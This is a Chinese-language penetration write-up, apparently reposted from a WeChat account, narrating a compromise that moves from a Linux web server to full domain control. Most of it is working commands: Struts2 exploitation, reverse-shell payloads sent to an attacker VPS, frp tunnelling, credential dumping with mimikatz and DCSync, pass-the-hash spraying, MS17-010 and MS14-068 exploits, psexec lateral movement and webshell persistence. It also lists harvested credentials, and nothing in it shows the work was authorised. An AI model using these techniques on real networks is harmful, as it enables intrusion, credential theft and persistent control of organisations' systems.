实战|记一次从linux打进域控
The following article is from 安全小子大杂烩 Author hl666
记一次从linux打进域控
前言:
这个周的话比较忙,就简单复盘一次之前从linux打进域控所涉及的内容,整体来说比较容易理解,从信息收集到权限维持都有所涉及。
getshell:
通过s2漏洞拿下一个口子,这里怎么看是s2搭建的网站,一个是直接看网站后缀是否是action,另一个是可以对登陆处进行抓包,查看数据包后缀是否包含.action.
这里的话就直接s2一把梭哈。
成功拿到权限,这里还是一样上传木马来进行权限维持,至于怎么上传前面文章有讲到过。
这里成功上传木马。
信息收集:
我们对该linux进行简单的信息收集,通过翻看历史记录,数据库文件等获得了几条有效密码:
kartxx/karxx
root/root
xxadmin/xx@m453
利用fscan扫描该网段:
./fscan -h 192.168.1.126/16
./fscan -h 192.168.1.126/16 -m netbios
可以看到ip地址比较多,这里利用某位师傅(记不太清了)的fscan提取脚本将结果进行整理。
python fscan.py -i result.txt -o resu.txt
该脚本可以对fscan扫描的结果进行整理,整理得到如下结果,可以发现可以利用的点不多。
但是通过上面扫描结果我们得知该环境存在域环境:
解析在着重对这个域进行渗透,我们前期扫到了一个mysql密码,然后发现这台主机又在域内,所以我们先利用他来做一个域信息收集:
frp代理:
为了方便,我们这里将linux的流量代理出来:
在这里我遇到了一个问题,目标主机出网,并且还能ping通我,但是我代理的时候出现连接拒绝。原因是这台主机限制了端口出网,然后我用fscan扫描该主机,发现8080,8443开着web服务。于是frp的配置文件如下:
frps.ini:
[common]
bind_port = 8080
frpc.ini:
[common]
server_addr = vps地址
server_port = 8080
tcp_mux = true
[plugin_socks5]
type = tcp
remote_port = 8443
plugin = socks5
成功将socks流量代理出来:
域内信息收集:
连接mysql:
proxychains sqlmap -d "mysql://root:root@192.168.1.138:3306/mysql" --os-shell --random-agent
net group "domain admins" /domain #查询域管
net group "Domain Controllers" /domain #查询域控
域控地址:
AD-server 192.168.1.5
star 192.168.1.6
这里我登陆了他的3389,这里我导出他的注册表,然后拖回本地进行密码读取。
登陆的时候勾选上该配置,不然不能够进行粘贴复制。
reg save hklm\sam sam.hive
reg save hklm\system system.hive
这里成功的导出了该文件:
拖到本地利用mimikatz执行:
lsadump::sam /sam:sam.hive /system:system.hive
读取到了管理员的hahs值:
administrator/541ae40b283303b382a1ffxxxxx
然后利用fscan扫描445端口并将ip提权出来做一个pth攻击:
fscan -h 192.168.1.0/16 -p 445
tiqu.py:
import re
import os
import sys
if sys.argv[1]=="-ii":
text = open(sys.argv[2], 'r', encoding='UTF-8')
for i in text:
ii=i.strip("\n")
obj=re.compile(r'(?P<url>.*?):'+sys.argv[3]+'\s+open',re.S)
resu=obj.finditer(ii)
for it in resu:
result = it.group("url")
print(result)
with open("port.txt", "a+") as f:
f.write(result + '\n')
f.close()
python tiqu.py -ii resu.txt 445
直接进行密码喷洒:
proxychains crackmapexec smb port.txt administrator -H 541ae40b283303b382axxxxxx
没有爆出来域用户,只有两个工作组:
192.168.1.31 445 PAYROLL [+] Payroll\administrator
192.168.1.18 445 WIN-69GHL7TASOE [+] WIN-69GHL7TASOE\administrator
打ms17010:
上线msf:
这里我生成马子的端口是443端口:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f elf > m.elf
msf监听上线:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 8080
run
fscan扫描得到了几台ms17010:
[+] 192.168.1.6 MS17-010 (Windows Server 2008 R2 Standard 7601
[+] 192.168.6.123 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.5.112 has DOUBLEPULSAR SMB IMPLANT
[+] 192.168.5.110 has DOUBLEPULSAR SMB IMPLANT
添加路由:
run autoroute -s 192.168.1.0/16
前面已经将流量代理出来了;
利用exe脚本打ms17010,结合网上bat脚本来打:
check.bat 192.168.5.110
msf生成64为dll文件:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=10012 -f dll >64.dll
将改dll文件放到脚本目录下直接打过去
attack.bat 192.168.5.110 x64 64.dll
msf收到会话:
利用mimikatz抓取密码:
load kiwi
kiwi_cmd sekurlsa::logonpasswords
获取如下密码:
xxxhistn:xxxx@123456
Admin:1000:aad3b435b51404eeaxxxxxxx:3dbde697d71690a769204bxxxxxxx:::
Administrator:500:aad3b435b51404eeaxxxxxx:541ae40b283303b382a1xxxxx:::
ms14-068打域控:
至于怎么打域控,方法就比较多了,这里使用ms14-068来打:
PS:以后的话会多使用非无脑漏洞的打法,前期的话还是多熟悉这些常规漏洞使用。
生成一个票据:
proxychains python2 ms14-068.py -u 域用户@域名称 -p 密码 -s 域用户sid值 -d 192.168.1.6
利用mimikatz将票据注入内存:
kiwi_cmd "kerberos::ptc 1.ccache"
访问域控:
dir \\192.168.1.6\c$
将会话弹到cs:
该主机出网,直接上传木马将该机器上线到msf,然后我做了一个进程注入以防止木马掉线
PS: 这里的进程没有域管理员进程,如果有的话就可以直接空密码与域控建立ipc连接了,这样上线域控就更简单了。
前面建立了ipc链接,这里就直接上线域控了:
设置一个中转监听器:
直接上线两个域控:
jump psexec 192.168.1.5 smb
jump psexec 192.168.1.6 smb
至此,域控全部上线。
mimikatzdump密码:
mimikatz lsadump::dcsync /domain:xxxxxftware.com /all /csv
通过翻域控文件,或得到了大量的邮箱和密码:
每个邮箱对应每个域用户的账号和密码。
权限维持:
这里就在域控网站根目录留了一个木马。
收集主机信息:
proxychains python3 dnsdump.py -u "xxxxx.com\administrator" -p 12345 192.168.1.6 -r
到这里,这个域的几百台主机算是拿下了
查看spn:
Setspn -Q */*
这能够帮我们梳理一下域内的机器服务,比如我们需要知道那些机器上面有exchange,mssql等,可以通过spn扫描来发掘一些有价值的机器。
后续:
前面讲到信息收集,仔细查看fscan扫描的结果,会发现有一个主机存在多个网段:
直接连接109上去看一下是否存在多个网段:
的确存在多个网段,然后在对比上面的域内主机信息会发现172根本就不再域内:
最后再查看域控的网络连接行为:
发现域控正好与上面两个网段有着关联,所以后面的就是对172进行渗透。
很多时候拿到域控不代表就结束了,一方面要查看域控的网络连接行为,另一方面要熟悉这个域控的组织结构,比如有哪些组织或者部门在这个域里面,对特定的目标进行横向会挖掘到更大的价值。
比如我可以查看域组织结构:
dsquery ou
清楚这些组织结构之后就可以对特定的组织或者部门进行更大价值的挖掘。比如运维部门等公司的核心部门。
后面的内容过段时间更新。
另外本文涉及的脚本在公众号后台回复20230219获取。